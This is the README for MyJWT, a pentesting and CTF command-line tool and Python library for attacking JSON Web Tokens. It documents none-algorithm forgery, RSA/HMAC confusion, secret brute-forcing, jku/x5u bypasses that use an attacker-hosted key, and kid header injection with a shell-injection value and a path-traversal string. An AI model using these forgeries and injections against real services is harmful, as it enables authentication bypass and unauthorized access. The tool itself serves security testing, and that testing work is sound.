A cli for cracking, testing vulnerabilities on Json Web Token(JWT)
This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc…
Check Documentation for more information.
If you see problems or enhancement send an issue.I will respond as soon as possible.
Enjoy :)
Documentation is available at http://myjwt.readthedocs.io
To install myjwt, simply use pip:
pip install myjwt
To run mywt from a docker image, run:
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# On Windows
docker run -v %CD%/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
To install myjwt, on git:
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help
To install myjwt on BlackArch:
pacman -S myjwt
$ myjwt --help
Usage: myjwt [OPTIONS] JWT
This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc...
Full documentation is at http://myjwt.readthedocs.io.
If you see problems or enhancement send an issue.I will respond as soon as possible.
Enjoy :)
All new jwt will be copy to the clipboard.
Options:
--version Show the version and exit.
--full-payload TEXT New payload for your jwt.Json format Required.
-h, --add-header TEXT Add a new key, value to your jwt header, if key
is present old value will be replaced.Format:
key=value.
-p, --add-payload TEXT Add a new key, value to your jwt payload, if
key is present old value will be
replaced.Format: key=value.
--sign TEXT Sign Your jwt with key given.
--verify TEXT verify your key.
-none, --none-vulnerability Check None Alg vulnerability.
--hmac PATH Check RS/HMAC Alg vulnerability.
--bruteforce PATH Bruteforce to guess the secret used to sign the
token.
-c, --crack TEXT regex to iterate all string possibilities to
guess the secret used to sign the token.
--kid TEXT Kid Injection sql
--jku TEXT Jku Header to bypass authentication
--x5u TEXT X5u Header to bypass authentication
--crt TEXT For x5cHeader, force crt file
--key TEXT For jku or x5c Header, force private key to
your key file
--file TEXT For jku Header and x5u Header, force file name
--print Print Decoded JWT
-u, --url TEXT Url to send your jwt.
-m, --method TEXT Method use for send request to url.(Default
GET).
-d, --data TEXT Data send to your url.Format: key=value. if
value = MY_JWT value will be replace by new
jwt.
-c, --cookies TEXT Cookies to send to your url.Format: key=value.
if value = MY_JWT value will be replace by new
jwt.
--help Show this message and exit.
Option | Type | Example | help |
---|---|---|---|
–ful-payload | JSON | {“user”: “admin”} | New payload for your jwt. |
-h, –add-header | key=value | user=admin | Add a new key, value to your jwt header, if key is present old value will be replaced. |
-p, –add-payload | key=value | user=admin | Add a new key, value to your jwt payload, if key is present old value will be replaced. |
Option | Type | Example | help |
---|---|---|---|
–sign | text | mysecretkey | Sign Your jwt with your key |
–verify | text | mysecretkey | Verify your key. |
Option | Type | Example | help |
---|---|---|---|
-none, –none-vulnerability | Nothing | Check None Alg vulnerability. | |
–hmac | PATH | ./public.pem | Check RS/HMAC Alg vulnerability, and sign your jwt with public key. |
–bruteforce | PATH | ./wordlist/big.txt | Bruteforce to guess th secret used to sign the token. Use txt file with all password stored(1 by line) |
–crack | REGEX | “[a-z]{4}” | regex to iterate all string possibilities to guess the secret used to sign the token. |
–kid | text | “00; echo /etc/.passwd” | Kid Injection sql |
–jku | text | MYPUBLICIP | Jku Header to bypass authentication, use –file if you want to change your jwks file name, and –key if you want to use your own private pem |
–x5u | text | MYPUBLICIP | For jku or x5c Header, use –file if you want to change your jwks file name, and –key if you want to use your own private pem |
Option | Type | Example | help |
---|---|---|---|
-u, –url | url | http://challenge01.root-me.org/web-serveur/ch59/admin | Url to send your jwt. |
-m, –method | text | POST | Method use to send request to url.(Default: GET). |
-d, –data | key=value | secret=MY_JWT | Data send to your url.Format: key=value. if value = MY_JWT value will be replace by your new jwt. |
-c, –cookies | key=value | secret=MY_JWT | Cookies to send to your url.Format: key=value.if value = MY_JWT value will be replace by your new jwt. |
Option | Type | Example | help |
---|---|---|---|
–crt | PATH | ./public.crt | For x5cHeader, force crt file |
–key | PATH | ./private.pem | For jku or x5c Header, force private key to your key file |
–file | text | myfile | For jku Header, force file name without .json extension |
Nothing | Print Decoded JWT | ||
–help | Nothing | Show Helper message and exit. | |
–version | Nothing | Show Myjwt version |
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"
``` from myjwt.modify_jwt import add_header, change_payload from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
jwt_json = jwt_to_json(jwt) jwt_json = add_header(jwt_json, {“kid”: “001”}) jwt_json = change_payload(jwt_json, {“username”: “admin”}) jwt = encode_jwt(jwt_json) + “.” + jwt_json[SIGNATURE]
Full example here: [01-modify-jwt](https://github.com/mBouamama/MyJWT/blob/master/examples/01-modify-jwt/modify-jwt.py)
## None Vulnerability
### CLI
myjwt YOUR_JWT –none-vulnerability
### CODE
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt from myjwt.vulnerabilities import none_vulnerability jwt_json = jwt_to_json(jwt) jwt = none_vulnerability(encode_jwt(jwt_json) + “.” + jwt_json[SIGNATURE])
Full example here: [02-none-vulnerability](https://github.com/mBouamama/MyJWT/blob/master/examples/02-none-vulnerability/none-vulnerability.py)
## Sign Key
### CLI
myjwt YOUR_JWT –sign YOUR_KEY
### CODE
from myjwt.modify_jwt import signature from myjwt.utils import jwt_to_json key = “test” jwt = signature(jwt_to_json(jwt), key)
Full example here: [03-sign-key](https://github.com/mBouamama/MyJWT/blob/master/examples/03-sign-key/sign-key.py)
## Brute Force
### CLI
myjwt YOUR_JWT –bruteforce PATH
### CODE
from myjwt.vulnerabilities import bruteforce_wordlist wordlist = “../../wordlist/common_pass.txt” key = bruteforce_wordlist(jwt, wordlist)
Full example here: [04-brute-force](https://github.com/mBouamama/MyJWT/blob/master/examples/04-brute-force/brute-force.py)
## Crack
### CLI
myjwt YOUR_JWT –crack REGEX
## RSA/HMAC Confusion
### CLI
myjwt YOUR_JWT –hmac FILE
### CODE
from myjwt.vulnerabilities import confusion_rsa_hmac file = “public.pem” jwt = confusion_rsa_hmac(jwt, file)
Full example here: [05-rsa-hmac-confusion](https://github.com/mBouamama/MyJWT/blob/master/examples/05-rsa-hmac-confusion/rsa-hmac-confusion.py)
## Kid Injection
### CLI
myjwt YOUR_JWT –kid INJECTION
### Code
from myjwt.modify_jwt import signature from myjwt.utils import jwt_to_json from myjwt.vulnerabilities import inject_sql_kid
injection = “../../../../../../dev/null” sign = “” jwt = inject_sql_kid(jwt, injection) jwt = signature(jwt_to_json(jwt), sign)
Full example here: [06-kid-injection](https://github.com/mBouamama/MyJWT/blob/master/examples/06-kid-injection/kid-injection.py)
## Send your new Jwt to url
### CLI
myjwt YOUR_JWT -u YOUR_URL -c “jwt=MY_JWT” –non-vulnerability –add-payload “username=admin”
## Jku Vulnerability
### CLI
myjwt YOUR_JWT –jku YOUR_URL
### Code
from myjwt.vulnerabilities import jku_vulnerability new_jwt = jku_vulnerability(jwt=jwt, url=”MYPUBLIC_IP”) print(jwt)
Full example here: [07-jku-bypass](https://github.com/mBouamama/MyJWT/blob/master/examples/07-jku-bypass/jku-bypass.py)
## X5U Vulnerability
### CLI
myjwt YOUR_JWT –x5u YOUR_URL
### Code
from myjwt.vulnerabilities import x5u_vulnerability newJwt = x5u_vulnerability(jwt=jwt, url=”MYPUBLIC_IP”) print(jwt) ``` Full example here: 08-x5u-bypass
Check github releases. Latest is available at https://github.com/mBouamama/MyJWT/releases/latest
make lint
make test
The log’s become rather long. It moved to its own file.
See CHANGES.